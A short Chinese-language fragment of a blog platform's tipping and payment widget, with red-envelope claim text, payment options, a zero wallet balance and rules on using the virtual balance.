领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值